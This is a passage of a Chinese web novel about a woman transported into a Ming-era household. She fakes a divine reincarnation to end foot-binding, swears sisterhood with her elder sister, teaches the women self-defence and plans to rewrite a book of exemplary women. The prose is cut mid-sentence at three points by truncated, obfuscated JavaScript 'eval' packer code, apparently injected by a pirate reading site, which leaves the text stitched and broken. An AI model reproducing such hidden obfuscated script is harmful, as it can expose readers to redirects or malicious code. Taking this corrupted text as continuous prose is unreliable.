姜婋摇头晃脑,笑中藏讥:“妙真,你虽修行多年,终究凡尘未脱。难怪你看不清这世间真相,也找不到你的女儿!” 此言一出,妙真木雕般清冷的面容上骤然浮现裂痕。 “你是谁?” “我是谁,稍后再告诉你。” 姜婋话锋斗转:“你是谁,我可知道得一清二楚。你遁入空门,求佛祈愿,无非是想让你那失散的女儿,哪怕不在你身边,也能平安长大。若我告诉你——她在哪儿呢?” 妙真面色瞬变,平静如水的眼中泛起惊涛:“她在哪?” 姜婋闭目,仿若有千里眼般,喃喃道:“我看见……你的女儿此刻远在忻州,就在凤霞镇牛蛙村,第三棵槐树正对着那户院中砍柴呢。” 她倏地睁开眼:“可若你一个月内不赶到,只怕她就要被活活折磨致死。” “你……你胡说!” 妙真唇角颤抖,“你这水鬼,妖言惑众!” “人总愿意相信好消息,却不愿相信坏消息。” 姜婋盯着妙真道:“你的女儿,乳名小芙。她左耳后有一枚月牙胎记,其实是产婆指甲划伤所致。她三岁识字,五岁能诗,那双细长的眼睛跟你长得一模一样,对不对?” 妙真脸色刷白,姜婋每说出一句,她手中念珠便更颤抖一分。 “你到底是谁?” 姜婋突然站直身子,拱手起范儿道:“实不相瞒,我与我姐杜含章,乃南海观音座下——善财童子与龙女转世。” “什……什么?” 姜婋特意换了个沉稳的声线:“观音大士得知,松江府华亭县杜家夫人马香兰礼佛虔诚,老爷杜仲文乐善好施,特遣我等下凡历劫,以庇其家。” “我姐姐含章乃龙女,天生慧根,降世为护杜家书香清正。而我乃善财童子,佑杜家生意兴隆。谁曾想我们一转世投胎,便遭到了马香兰的迫害,欲以缠足之刑加身!” 她特意强调道:“尤其是龙女含章,马香兰因她并非亲出,屡加轻辱。若让观音大士知道,她最信任的龙女在凡尘历劫时遭此屈辱,必将降下警兆。届时莫说杜家,恐怕整个松江府都难逃劫数……” 妙真脑中混乱不已:“你说含章是龙女?大小姐饱读诗书,她倒是确有慧根……” 她抬眼盯住姜婋:“你说你是善财童子?可善财乃南海观音座下男童,怎会投身为女?” 姜婋抬眼:“师太,你参学佛理多年,可见过佛言,‘善财必须为男’?” 妙真踟蹰:“可善财童子,自古皆为男相。” “那只是形象而已。” 姜婋反问:“佛门讲‘色即是空’,形相不拘,怎能因其为男相,便定其为男身?观音大士能化为妇女、渔夫、长者、童女。为何不能令善财童子也转为女形?” 妙真一时语塞。 姜婋盯着她继续追问:“莫非女子求道之心,便低于男子?你也不是女子,难道说尼姑求道之心,不如和尚喽?” “我……”妙真师太迟疑。 姜婋趁势而上:“更何况善财者,‘财’为何义?在五行之中,‘财’属金。而金生水,水为阴,正应女子之象。你说善财童子为男,那我问你,天地本源是谁?” “是……”妙真都被她绕晕了。 姜婋目光灼灼:“乃是女娲!女娲之肠化作十神,连满天神佛都是女娲之肠所化,何况是善财童子了。不过是千年以来,凡人为和龙女配成一对,才将我形象改作男儿罢了。” 妙真心中一震,连念珠都在她手中晃了晃。 姜婋长叹:“所以说,你看不清皮相之下的真形,方才我只是借水鬼之形,试你一试,结果你毫无慧根。难道凡是行止诡异者,便是恶鬼?慈眉善目者,就当是良人?” 妙真闻言垂目凝思。 姜婋的说辞虽是故弄玄虚,但她猜中了妙真最在意的点——就是她的女儿小芙。当她说出小芙的位置所在时,妙真就已经心神不宁,其实只要寻到小芙,善财童女转世之说是真是假,便一目了然了。 思考片刻后,妙真道:“原来如此,恕贫尼眼拙。你方才说,我的女儿小芙,她真的还活着?” “没错,但你必须立刻前往。再迟,便回天乏术了。我刚说的地址,你可记下了?” 妙真行礼:“记下了,与小芙有关的一切,贫尼过耳不忘。多谢善财童女指引。” “那就好。” 姜婋淡淡道:“不过,你应清楚,有些事不能让凡人知道太多。你需想个法子,让马香兰知晓,我与我姐不是凡胎,不可受缠足之刑。尤其是龙女转世的含章,切不可若让她在历劫途中受辱,不然观音大士知晓,后果不堪设想!” “是,贫尼明白。” 妙真态度已彻底转变,不敢再质疑。 她正要转身离去,姜婋忽又唤住她:“等等——” 妙真止步:“善财童女,还有何指示?” 姜婋道:“你寻到小芙后,直接去五台山的海会庵落脚,莫再回来。” 妙真奇怪:“这又是为何?” 姜婋提醒道:“你该知道,王朝兴衰,转瞬之间。太平盛世,也不过眨眼贪欢。庵中清净,可避乱世,也保你母女平安。等来日风雨将至,许多人还需你庇护一二,比如,你的姐妹马香兰。” 妙真恍然大悟,合掌一拜:“多谢善财童女点拨,贫尼定不负所托。” 姜婋点点头:“去吧。” 妙真转身之时,眼中燃起久违的神采。 仿佛这一刻,她才真正看破尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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系统:“玩家,那个‘权力色彩小、尊重个体’的生存空间,与其去寻找,不如你亲手创造一个。” 姜婋霎时鸡皮疙瘩惊起:“是啊,我怎么脑子也被裹脚布缠住了,没想到呢!” 说罢,她抬眸望向窗外:“杜宅不就是吗?” 她慢慢站起身,推开闺门。 “这杜宅就是一座被父权制酸雨浸透的花园,我想要帮含章这朵花长得茂盛,就不能只顾着帮她剪掉周围遮挡阳光的杂草,而是要改变整个生态环境!要让这整园子里的花草树木,都能自由生长、彼此滋养……这样,杜含章才能真的活得好,长得壮,对吧?” 系统:“玩家,你真是一点就透。” 姜婋笑了,语气愈发轻快起来:“既然这样,那这个副本,可就变得越来越有意思了。” 68.08 在系统的提示下,姜婋开始重新梳理破局之道。 她给自己设立了两条路线: 第一,继续攻略女主杜含章,修复那段破碎的姐妹信任; 第二,将杜宅打造成一个权力色彩小、尊重个体意志的母系花园。 第三,找到不嫁人也能活下去的办法。 * 自那日之后,妙真师太便与马香兰辞别,离开慈云庵,踏上寻女之路。 姜婋并不清楚她具体如何转述了“仙人转世”之说,只是从此,马香兰看她与杜含章的眼神确实不同了,也未再提缠足之事。 她终于用“魔法打败魔法”,摆脱了缠足酷刑。 * 这日,姜婋来到杜含章的闺房,告诉她以后不必缠足的好消息。 杜含章大惊,又回忆起那日她的疯癫之状,忙问:“这到底是怎么回事?你当真是被水鬼附身了?” 姜婋哈哈大笑,便将她如何唬住妙真师太的前因后果娓娓道来。 杜含章听罢,只觉荒唐:“这话听着神乎其神,妙真竟信了?” 姜婋看着她,忽然决定撒一个无伤大雅的谎。 她眨了眨眼:“因为我说的是真的。” “真的?” 姜婋点头:“对,你我本就是观音座下的龙女与善财童女转世。在入六道轮回前,观音大士以柳枝净水点额,让我们忘却前尘。可我一向调皮,轻轻侧头,避开了那一滴净水,所以我还记得。” 杜含章明显不信,盯着她片刻,抬手摸了摸她的头:“晓晓,你掉进荷花池那次,是不是磕着脑子了?” 姜婋放声大笑:“所以姐姐你觉得我是脑子摔坏了?” “倒也不是,只是这转世之说,实在太过离奇。《论语》曰,子不语怪力乱神。你突然说我是……龙女,着实令人难以相信。” 姜婋知道对付杜含章这种饱读诗书的人,恐怕不能用鬼神之说,便随意道: “你不信就不信吧,总之好处就是,我们俩现在有了这仙人转世的身份,马香兰不会再让我们缠足了,你也赶紧把你这裹脚布松一松吧!” 杜含章垂眸看了眼自己罗裙下的脚:“虽说不能再往紧里缠,但也不能一下子全放开。缠要慢慢缠,放也得慢慢放,有道是循序渐进……” 这话倒说得没错。 姜婋想起自己看过资料,天足运动初期,政府曾强令妇人解足,却因放得太急,导致许多妇女足骨变形、行走受伤。 毕竟缠足不是剪辫子,不能“咔嚓”一下,就马上不缠了,也得慢慢让脚适应,才不会造成二次伤害。 总之,只要女主不缠足,就可以避免结局断脚趾的悲剧。 * 就在这时,素书端着香、纸、供品等物走了进来。 “小姐,明日祭祀的东西都准备好了,您要不要过目一下?” 杜含章认真地一一查看。 姜婋问:“是你生母于夫人的忌日到了吗?” 杜含章点头:“父亲今年远赴山东看棉事迟迟未归,母亲又头风发作不便操持,这祭祀之事,便落在我身上了。往年都是在祠堂祭拜,流程我也熟悉。” “祠堂?” 姜婋掐指算道:“于夫人去世已有十年,这等大祭,怎么不亲往墓地?” “按理应当去的。”杜含章微微叹息,“只是父亲未归,家中无人主持。” “这有何妨?祭奠于夫人是头等大事,只需请马香兰一并前往即可。” 杜含章迟疑:“但母亲最近头风发作,恐怕不便出城……” “姐姐,你只告诉我,你想不想去郊外亲祭?” “我……” 姜婋眼神灼灼:“只要你想,就算要我像上次一样翻墙窜脊,也能带你出去。” 杜含章怔了一下。 她不习惯这样被人毫无保留地偏爱,毕竟在这个宅子里,她早已习惯了事事谨小慎微、日日戒备自持。 身为宅斗文的女主角,她脑中根深蒂固的观念是:不要相信任何人,尤其是女人。这世上没有无缘无故的好,背后肯定是另有所图。 可杜暮晓目前做的每一件事,好像都是为了她,也并没有伤害她…… 杜含章第一次违背了脑中的「原始设定」,点了点头。 姜婋展颜:“好,此事交给我。马香兰那边,由我来说服。” * 这厢边,姜婋来到马香兰所居的正房,刚欲抬步入内,便被门前的丫鬟春芽拦住了。 “二小姐,夫人头风发作,暂时不见人。” 姜婋一怔:“连我也不见?” 春芽这孩子是个直肠子,实话实说:“这回夫人病得重,最不想见的,恐怕就是你……” “啊?” 姜婋心下了然,毕竟马香兰此番生病,就是被自己气的。 外加妙真和她说了自己是神仙转世,马香兰内心肯定大受震撼,一时难以接受。 “可是,我来真有事找她。” 姜婋道:“于夫人的十周年祭日将至,我想陪姐姐前往郊外扫墓。按理说,这种事该由马香兰一同主持才是。” 春芽点头:“这事儿夫人早就想到了。她说,让我娘陪着你们去。” “让石大娘陪我们去就成了?那她就这么轻易……让我们出门了?”姜婋诧异。 春芽点头。 姜婋一时没说话,只在心里嘀咕:这妙真师太可真行啊,现在马香兰对自己出门都不太禁足了,本来以为要费力游说一番,没想到这么轻易就让她松口。 她朝门缝道:“多谢马女士成全!明儿我们就去郊外祭祀啦。您有什么想吃的,回头我给您带回来?” 屋里一片寂静,无人应答。 姜婋静了片刻,忽然涌起一种说不清的情绪,就好像母女之间那种小别扭。当马香兰突然不再“晓晓、晓晓”的管束自己了,她反而有那么一点小小的失落…… 她轻叹一声,转身离开,脚步渐远。 * 一门之隔的屋内,佛龛前檀香袅袅,烟雾缠绕在马香兰紧蹙的眉间。 她俯身叩首,低声念道: “信女香兰,素日吃斋念佛,一片虔心得观音大士庇佑,竟遣座下善财童女转世为我的女儿……” “但信女却有疑问未解,晓晓既是佛子转世,那她还是我的女儿吗?我还能像从前那样教导她、管束她吗?还望观音大士明示。” 说罢,她缓缓闭上眼。 马香兰的痛苦,来自于她对母亲这一身份的失控。 若她不信“神仙转世”的说法,把杜暮晓单纯看成是自己的女儿,那她这些年虔敬礼佛,岂不成了一场自欺? 可若她信了,那她也不能再用“我是你娘”来理直气壮地规训女儿,这就变成了一场母职危机。 这个深刻的疑问如钟摆一般,在她的心中不断回荡—— 我的女儿,还是我的女儿吗? * 次日一早,姜婋与杜含章在几名家丁婆子的陪同下,启程前往郊外墓地。 杜家在郊外有一座庄子,庄子尽头便是杜家祖坟。 于氏之墓立在几株桂花树后,墓碑石色黯淡,半掩于春草之间。 杜含章身着素衣,缓步上前,轻轻拂去碑上的尘土。 那碑上刻着“于氏”二字,她拭了三遍,才低声唤道:“娘亲,我来看你了。” “我如今仍日日谨言慎行,处处合礼合仪,只怕哪句哪步错了,辜负了您的教养。” 姜婋闻言,让随行人等退下。 她上前一步,跪于墓前,从食盒中取出一坛桂花酒,亲手斟上道:“于夫人,我也来看您了。” 杜含章看见那清酿,眼眶瞬间泛红:“难为你了,还帮我想着带上娘亲最爱的桂花酒……” “怎么会不记得呢?” 姜婋望着墓碑道:“我记得家中每一位女子的喜好。于夫人本来没有名字,因爱桂花,所以自己取名丹桂。她不但在院子里种满金桂,还用桂花酿酒泡茶,你上次喝的盐笋芝麻木樨泡茶,也是桂花茶的一种。” 杜含章听着,微微点头。 姜婋继续道:“于夫人是松江府都排的上号的染娘,青、蓝、灰、黛在她巧手浸染之下,颜色鲜亮,洗不褪色,晒不晕染。咱们杜记棉庄之所以能成老字号,一是因为杜仲文对棉花的挑剔,二是于夫人的染布绝技,三是马香兰的绣工。” 她含义深深道:“你说杜仲文娶妻时,是不是早就盘算好了?一车聘礼,便得到了两位夫人的无价手艺。” 杜含章嗔怒:“你怎能这样说爹爹?” “本来就是嘛。说得好听就是强强联手,说得难听点,不就是吃绝户么?毕竟两位夫人费心费力,却无一纸产权……” 姜婋叹了口气:“我敬于夫人一杯——” 说着,将一杯酒洒在墓前。 她又斟一杯,神情肃然:“于夫人,您在天有灵,请放心。我杜暮晓此生不嫁,不为旁人所累,只为护我姐姐一人周全。我发誓,无论她将来嫁人与否,我都会让姐姐有一处容身之所。” 杜含章诧异地看着她,忽然想到那日柴房中,杜暮晓也说过一段类似的话…… 此刻,香烟袅袅,桂花随风飘落,落在两人肩头。 许是因为在母亲的墓前,给了杜含章一丝底气。 她看着面前之人,终于问道:“晓晓,你为何……突然对我这般好?” 姜婋一怔,她恍然意识到,这是一个女性对女性好,也需要解释清楚的世界啊。 不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜婋摇头:“可我们做血缘上的姐妹时,彼此并不真正信任,甚至常常误解与对立。那样的‘姐妹’,并不是我们自主选择的结果。但现在——” 她将手握得更紧了一些:“我是真心地,选定你作为我的姐姐。不管你是不是杜家的大小姐,你都是我愿意倚靠、并肩而行的姐姐。” 杜含章有些踟蹰:“我从未听过亲生姐妹要结拜的说法,这样可以吗?” “当然可以啦!” 姜婋扬起眉梢:“在云南就有两家女子‘结老友’的传统,湖南永江也有女子互写女书、订金兰谱的风俗。两个姑娘若情投意合,就可以结为姐妹,扶持到老。” 杜含章听着,心头微热:“那我们既是生来的姐妹,又是选中的姐妹,这不就是,姐妹加姐妹了?” 姜婋欢然道:“那可不!正巧今日还有你的娘亲于夫人帮我们做见证,不如,就现在结拜吧?” * 两人一齐跪于墓前,纸钱随风飘散,玉兰花瓣纷纷而落。 姜婋朗声宣道:“天上的观音大士,黄土下的于夫人;山中的树儿、溪边的草儿,天上的鸟儿、地上的虫儿,你们都是我与杜含章结义的见证。今日,我们不问出身,不论血脉,从心而定,结为姐妹!” 杜含章接声应道:“苍天在上,厚土为证,我杜含章,愿与杜暮晓结为姐妹。” 她眸光微动,念出誓言:“无论逆境或顺境,贫穷或富有,健康或疾病……” 姜婋回望她,语气坚定:“无论发生什么,纵使亲人离散,家道中落……” 二人齐声道:“哪怕山河易主,王朝覆灭……” “我杜暮晓此生,永远是姐姐你最坚强的后盾。” “我杜含章此生,永远是妹妹你最安稳的依靠。” ——“唯有生死,能将我们姐妹分离。 纸钱飞舞如雪,缓缓落在二人肩头,宛如于夫人轻抚着她们。 这座原本凄凉的墓地,也因为她们的结拜仪式,而生出春意。 姜婋举起酒杯,盈盈笑道:“从今往后,我的姐姐就是你。” 杜含章也举杯:“从今往后,我的妹妹就是你。” 姜婋举杯饮尽:“对啦,姐姐,你以后叫我婋婋吧,就是女字旁加个老虎的‘婋’。” “为何用这个‘婋’?” “我喜欢这个字,像只母老虎,反正婋婋与晓晓读音也差不多嘛。” 杜含章莞尔:“好,婋婋。” 两人在春风与纸灰中,相视一笑。 从今往后,她们是彼此选定的姐妹。 69.09 一行人回到杜宅时,天色已近黄昏。 系统在姜婋脑中提醒:“玩家,检测到女主对你的好感度再次上升。” 姜婋开心到拍手:“太好了!我要在柳如琢那个男主还没登场前,疯狂在女主面前刷存在感。不然到时候她恋爱脑一发作,只怕回天乏术。” 她走进内院,穿过回廊,却并未转向自己的闺房。 系统问:“玩家,你要去哪儿?” 姜婋眼神一变:“我还有一件要事未办。” * 马香兰的正房里,香炉未灭,檀烟缭绕。 这一日,她一会儿在床上低泣,一会儿又在佛龛前烧香,熏得眼睛酸涩,也没等来观音大士的指引。 平日里她就像护犊子的母鸡,必须时时刻刻张开双翼,将女儿护在身后。可自从女儿掉进了荷花池之后,就性情大变,她好像再也不是那个需要自己庇护的小姑娘了…… 莫非这也是观音大士的启示? 这份母职失控的惶惑与茫然,使她头痛欲裂。 “春芽,快来帮我按按头……”她喊道。 一双手抚上了她的太阳穴,指腹带着温热,一下一下,缓慢按揉着眉心。 马香兰微微睁眼,看到那张熟悉又陌生的脸。 “晓晓?” 姜婋温声道:“你还在生我的气吗?” 马香兰闭眼叹息:“我是在生我自己的气……我求佛多年,自认有慧眼,结果连自己的女儿是观音座下的善财童女都没看出来。难怪你如今连‘娘亲’都不愿叫我了……” 说着,她眼眶泛红。 姜婋停下按揉,握住她的肩:“你这些年总是被唤作‘杜夫人’、‘娘亲’、‘马氏’……你似乎在这一声声中,渐渐忘记了,你本来是什么样子。马香兰,你还记得你是一个什么样的女子吗?” 马香兰微怔,细细思忖起来。 是啊,自从嫁入杜家,她似乎就活成了另一个人。 她曾经是书香人家的女儿,也会绣花赏画,吟诗作对。小时候还曾爬树想逃出闺门,结果落地时扭了脚,被祖母训了整整一夜。 想到此处,她嘴角浮起一丝笑意:“人老了,以前的事都快忘干净了……” 姜婋道:“不能忘!我帮你记着呢。你马香兰,是个火辣爽利的女子,刀子嘴豆腐心,骂人字字铿锵。虽是马家最小的妹子,但兄长们都怕你三分。” 马香兰笑了:“是啊,我娘家那几个哥哥,一听我骂人,转身就跑。” 姜婋又道:“你出身书香门第,却偏不爱读书,一头钻进女红里,你的绣工在华亭数一数二,你设计的纹样,别人都学不来呢。” 马香兰微微得意:“当年老爷娶我,就是拜倒在我的绣工之下!” 说着,她兀自又伤感起来,忍不住低声喟叹。 “可惜啊……我好歹也是书香门第的闺门淑女,竟没能教出一个能继承我衣钵的大家闺秀。” 姜婋拍了拍她的肩:“你虽没教出大家闺秀,可说不定你以后能培养出一个创业能手、华亭首富呢!谁说女人的人生,只能做大家闺秀?” 马香兰看着她,泪光微闪,问出那个藏了许久的问题: “晓晓,你现在……还是我女儿吗?” 姜婋一怔,忽然想起了自己上大学离家那天,母亲送她到车站,只轻声问:“婋婋,你去了,会想家吗?” 她眼神温柔,轻声答道:“是啊。但我也是我自己。” “马女士,你今后恐怕再不会有一个听话乖顺的女儿了,可你会有一个从心底里爱你的女儿。” 马香兰声音颤抖:“那观音大士……会不会把你再带走?” “我确实不属于这里。” 这是姜婋的心里话。 “可来人间一趟,人和人啊,无论母女、姐妹、朋友、夫妻,都只能陪彼此走一段路。我希望我们这一段,能彼此珍重。” 她说着握住马香兰的手。 马香兰泪水滑落,低声喃喃:“我明白了……眼下妙真走了,也不知这辈子还能否再见……” 姜婋替她拭泪:“会的。我以善财童女的身份告诉你,一定会的。” 她从背后拿出一个小盒子,递上来道:“我今儿出门,给你买了你最爱吃的芝麻酥,快尝尝吧。” 既然心结已解,马香兰头痛好转,便含泪接过。 姜婋乘胜追击:“马女士,我还有件事想和你商量。” “何事?” “既然我和姐姐每天要和塾师学习女德女训,不如也让我们学点别的。” 马香兰咬着芝麻酥问:“你想学什么?” 姜婋眨了眨眼:“我们杜家是做生意的,识布断货、算盘议价……是不是也该学一学?” “你们是女孩子,生意上的事有你爹和石管家,不用你们操心。” “怎么不操心?” 姜婋提醒道:“你忘了,我和姐姐可是善财童女和龙女。既然是奉观音大士之命,来助杜家生意兴旺,你总要让我们学习学习啊?不然我怎么善财啊?” 马香兰忽地顿悟:“也对,那我明日让石管家来教你们。” “好!” 姜婋撒起娇,搓着马香兰的衣角:“要不……顺便再加一门防身术。都不必请师傅,我来教!” “哈?” 芝麻酥差点从马香兰嘴里喷出来。 * 次日清晨,杜宅内院。 天光尚未大亮,院中青砖上晨露氤氲,几只早起的小麻雀在屋檐下扑腾翅膀。 姜婋已命人扫净后院地面,摆上几根木桩、几袋布沙包,暂时搭建了一个简陋的练功场。 此番提议,并不是姜婋异想天开。 自从她与系统商量,要将杜宅这一“宅斗场域”,打造成“女性花园”那一刻起,就下了决心,第一件事便是强身健体。 这本《嫡女养成记》虽然是宅斗文,但结尾之处为了贴近史实,特意写了明末的倭寇之乱。 当时倭寇来袭,杜家大受打击,女眷流离失所,多死于倭寇之手。 这个结局,就是整个故事线的隐雷,也是姜婋提前部署训练的根本原因。 系统提示音也恰时响起:“玩家,你已触发「杜宅体育课的挑战」新事件。” 姜婋瞪眼:“啊?我好心让大家锻炼身体,怎么还有挑战?” * 此时,杜家的女眷们三三两两被召集到后院,有姑娘、丫鬟、还有年纪稍长的管事妇人。 姑娘们眼神迷糊,打着哈欠道:“平日里塾师都没这么早上课啊。” 丫鬟们脸色幽怨,嘴里小声抱怨:“这不是耽误我们干活儿吗?昨晚的衣服还没洗呢……” 杜含章却没说话,她一向谨言慎行。 姜婋一袭劲装,朗声道:“各位姐姐妹妹婆婆婶婶们,从今日起,咱们杜宅要开一门新课,名字就叫——‘防身之术’!” 众人你看我我看你,一时说不出话来。 大伯家的一个女儿问道:“防身?我们是大家闺秀,又不是街头卖艺的,学这个做什么?” 一位姨娘道:“二小姐,咱们有夫有父,自有人护着,姑娘太过多虑了。” 姜婋看了一圈:“你们是觉得,男人能护你一辈子?可你们知不知道,根据历史经验,一个女性生命中的大部分危险,都是由身边的男性造成的。与其指望他们来保护你,你还不如指望你自己!学会防身之术,是为了让你们能不靠他人,也能救自己一命。” 人群中有人扯着帕子嘀咕:“可我们住在深宅大院,哪来那么多危险?” 姜婋不答,脚下猛地一踢,一根竹竿“嗖”地飞起,击中屋檐,瓦片应声而落。 那女眷来不及闪避,姜婋闪身拉开她,啪嗒一声,那瓦片砸落在女眷原本立足之处。 那女眷惊出一身冷汗:“吓死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巧珠咧嘴笑:“以后二小姐让我干活,我能直接飞出去,还少走几步路了呢!” 众人被巧珠的童言童语逗笑。 一个女眷皱眉抱怨:“可是我们都裹着脚,这站久了,脚痛怎么办呀?” 姜婋道:“那你就先把裹脚布松一松吧。还有——” 她转头对管家婆道:“石大娘,以后姑娘们要练功,吃食也得跟上,多备些牛肉鸡蛋。” 石大娘犹豫:“这……” 姜婋反问:“咱杜家有钱吃人参燕窝,没钱补点鸡蛋牛肉?” 石大娘连连点头:“有的有的。” 姜婋指挥起来:“我们今日先热身。” 顷刻间,后院传来嘿嘿哈哈之声,女眷们扎起马步,挥拳舞棍,一时热闹非凡。 柴六小声问:“二小姐,我能跟您学吗?” 姜婋挑眉道:“我这护身术,传女不传男!不过,你可以来当陪练。” * 不远处,马香兰站在廊下看着,神色复杂。 她看着女儿笑声爽朗地教着丫鬟们练功,竟然一时间说不出话来。 忽然想起多年前,那些她也曾爬过树、跳过墙的日子,一时竟有些心痒。但她作为当家主母,总不能过去跟她们一起练武吧? 春芽站在一旁,有些眼馋:“夫人,我也想练练!” 马香兰低声笑道:“去吧。” 春芽刚冲出去,马香兰又拽住她:“慢着,你好好学,晚上回来教我。” “好嘞,夫人!” * 从此以后,杜宅的清晨,不再只有麻雀的唧唧声,而多了女子们挥拳踏步的练功声。 这座“规训的牢笼”,在姜婋的丰荣下,正一点点褪去桎梏,变成能让人自由舒展的“女性共居花园”。 70.10 这日清晨,众人练完了姜婋教的护身术,又打了八段锦、五禽戏,才赶到私塾,开始今日的课业《烈女传》。 不过姜婋因起得太早,体力消耗巨大,一坐下便撑不住了,脑袋一点一点,趴在桌上睡着了。 好在杜含章眼疾手快,几次替她打马虎眼,才躲过塾师的训斥。 不过,姜婋虽然在《烈女传》课上睡觉,但是讲到经商之道的时候,她倒是摆起“头悬梁锥刺股”的架势,掐腿抠肉,瞪圆眼睛硬挺过了这堂课。 * 下课后,有段染布的原理她没听明白,便溜进杜含章的闺房讨教。 问清之后,杜含章笑她:“这门课你倒是听得认真,怎么最该听的《烈女传》,你倒是睡过去了?” 姜婋瘪嘴:“《烈女传》我是不爱听,无外乎就是讲那些女子为了守节以死明志的故事。” 杜含章耐心劝道:“可这才是我们女子该学的。今日塾师已经看你好几眼了,明日可别再睡了。” 姜婋气鼓鼓抱怨:“我前几日就该和马香兰说,把《烈女传》这门课给砍了!” “这是为何?” “姐姐你想啊,《烈女传》原本是叫《列女传》。最早西汉刘向编的《列女传》,是记录女子各类事迹的传记,遂叫‘列女’。可如今,只讴歌守贞为节的烈女,这‘列女’二字早变了味,只剩下‘烈女’了。” 杜含章微微思忖,确实如此。 姜婋又道:“再说了,以前西汉至隋唐的《列女传》,起码还有一些贤明、忠勇、才慧之类的女子,可是现在翻开《烈女传》,全都是贞洁烈妇,选的也都是‘至奇至苦’的女子,让我们学习这个,能学到什么?没苦硬吃吗?” 她说着,随手翻开《烈女传》的一页,指给杜含章:“你看,这一则——” “水患之际,二女子在洪水中挣扎,救援船到,因见船上有男子裸身,两人不肯上船,甘愿沉入水中;另一女子,被人救了,还大哭说:‘吾乃数十年贞节,何男子污我左臂。’遂用菜刀自断其臂,仍赴水而死。可见这贞洁观念已经极致病态!” 杜含章正色:“那是这些女子守节。女子若被男子碰过,纵非本意,名节亦毁,不如一死了之。” 姜婋反驳道:“可那是水灾啊!活下来还能救人、谋生、做很多有意义的事,就为了‘不被碰手臂’,难道要自杀赴死?” 杜含章道:“女子名节是立身之本。若真被男子触碰,哪怕无心,亦是一世污名。她们以死自证,至少保全了一个‘清’字。” 姜婋懒得争,继续翻页:“那再看看这则,一女子仅仅受到男子轻薄语言冒犯便自杀。更有一女子只是因为睡觉时帘子开了,疑心被人偷窥,于是自杀而死。这两位可是连碰都未碰,就要轻生啊!” 杜含章叹息:“她们以死明志,该视为榜样,是让后人知,女子不可轻亵。” “这算什么榜样?” 姜婋无语至极:“在贞洁面前,女子性命如草芥,动辄轻生,《烈女传》还写出这些女子,让我们去学习?姐姐,你真愿效法她们吗?如果明天发大水,你被困屋檐,有个男人递杆过来,你要不要活命?” 杜含章一怔。 半晌,她才轻声道:“若真的有那一天,我也不知,我会不会如那些烈女一般,以死来守身。可若我真被救了,将来议亲、说媒,恐怕都要被人嚼舌根的……” 姜婋拉住她的手:“姐姐,你可要活下来。那所谓贞洁之论,就是困在我们脑子里的裹脚布。怎么你脚上的布都松了,脑中的裹脚布反而紧了呢?这世界上的事情,什么都没有命重要!再说了,你可是龙女,怎么能轻易死呢?” “这些《烈女传》,说白了就是拿来规训我们的。让我们将自己的身体,当成未来丈夫的,当成祠堂里那块牌位的,当成村口挂的牌坊匾额的……唯独不是女子自己的!可一个人的身体,唯一的主人,难道不该是她自己吗?” “再说了,既然贞节是好事,那为什么不见朝廷给男人也立‘贞男烈男’?若贞洁真是宝贝,那些大老爷们早就抢去贴自己脸上了,哪还轮得到我们女人?姐姐你说,对不对?” 这一刻,杜含章虽未彻底转变信念,但姜婋的话让她心中信奉的“贞洁观”出现了裂缝。 杜含章张了张口,但刻入骨子里的「三从四德」让她没有正面反抗的勇气。 她转言打趣道:“知道了。婋婋,你这般满口‘歪理邪说’,都能成书了。” “谁说是歪理!” 姜婋眼神一凛,猛地坐直:“对啊,你点醒我了!” “……什么?” “出书啊!” 姜婋的眼珠转得飞快,仿佛嗅到了天大的商机:“姐姐,你说得对,我们可以自己写一部新的《列女传》!” “我们?”杜含章难以置信。 “是啊!” 姜婋赶紧举例:“唐代不是还有宋氏姊妹写《女论语》吗?姐姐宋若莘撰书,妹妹宋若昭作注,她们终身未嫁,自立自强。我们杜氏两姐妹,怎么就不能写一部打破老规矩的《新·列女传》呢?” 杜含章心中微动,她当然知晓宋氏姐妹自成风骨的传奇——但自己真的可以吗? 姜婋游说道:“更何况,如今的《烈女传》全是旧本,没有新意,早该换换了。我们可以从历代《列女传》中选出那些聪慧果敢、智勇兼备的女子,重新整理,用白话书写,通俗易懂。让她们的故事,变成我们这一代女子真正的榜样。” 她灵光一闪:“姐姐,你不是擅长绘画吗?我们还可以配上插图。毕竟很多女子不识字,这样她们也可以通过看图,找到她们心中的女子楷模!” 杜含章听得入了神,但仍有疑虑:“可我们没出过书,也不知能不能做成……” 姜婋自信一笑:“既然唐代的宋氏姐妹做的成,那我们也一定可以!况且,咱们还能找家里的姐妹一起帮忙。” 她拉住杜含章的手:“而且,你不是问过我——如果不嫁人,该如何活下去?如果此法能让我们赚钱谋生,这也许就是答案呢?” 杜含章神色一震,眼中的迟疑变成跃跃欲试。 她问出最关键的问题:“那这书,如何出版?” “这你就问对人了!” 姜婋语气里透着十足把握:“马香兰的哥哥,不就是就是出了名的书商嘛。实在不行,我们还可以自己印。总之,活人还能被尿憋死?” 杜含章嗔笑道:“你说什么浑话呢?” 姜婋凑在她身侧,连撒娇带卖乖:“好嘛姐姐,我们就试试吧!” 杜含章看着姜婋满脸笃定的模样,也被感染:“那我们就——试试。” 顷刻间,姜婋脑中发出系统提示音:“玩家,你已帮女主开启「修编《列女传》」新主线。” 姜婋眼神灼亮:“说不定,我们真能用这本书改变些什么。” * 当晚,姜婋便火速去找马香兰,说她要与姐姐重修《列女传》。 